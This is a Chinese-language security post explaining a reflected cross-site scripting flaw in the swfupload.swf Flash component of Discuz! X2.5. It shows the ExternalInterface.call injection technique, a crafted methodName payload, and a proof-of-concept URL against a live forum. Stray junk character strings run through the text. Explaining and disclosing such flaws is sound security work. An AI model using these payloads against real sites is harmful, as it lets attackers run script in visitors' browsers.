Flash应用安全系列[2]--Discuz! X2.5反射型跨站

admin

上回我们说

! c7 f6 y- Q, P/ o) Xflash.external.ExternalInterface.call($methodName, $parameter)
在浏览器中执行的是
" Z" Z# p. u6 z4 B2 J! a3 m% d9 q
try { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
3 k9 g# s( c. U% \. d对于第一个传入的$methodName，flash player在输出js函数时是未经过任何编码的，上个例子里$methodName是全部可控的，但是我们知道了执行脚本的原理后，$methodName只需要部分可控，我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如

flash.external.ExternalInterface.call("object."+$methodName, $parameter)
$methodName = a())}catch(e){alert(/xss/)}//
结果是不存在object.a方法，跳到catch，执行我们构造的任意JS。
% c) N5 a2 M) s
try { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
; d5 e: `: V- }+ `4 l& Y; K. Y' @
这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss，乌云上也有这个漏洞的分析（ WooYun: WordPress反射型XSS ）
杯具的是，Discuz! X2.5中采用了一个同样的一个swfupload模块，而且还是修复前的版本。


) g$ T, m# l& A: b8 K" r9 y. m
漏洞文件：upload\static\image\common\swfupload.swf
( v$ i6 ?4 e5 V- h2 h4 U) Z
原始SWF下载：http://swfpoc.appspot.com/vul/discuz_swfupload.swf
6 k$ j% `6 h2 ]# S3 n
( j/ b. s5 `6 L) |& b" N7 G3 Z
漏洞证明：http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//


, V: J. t/ ]8 Y; I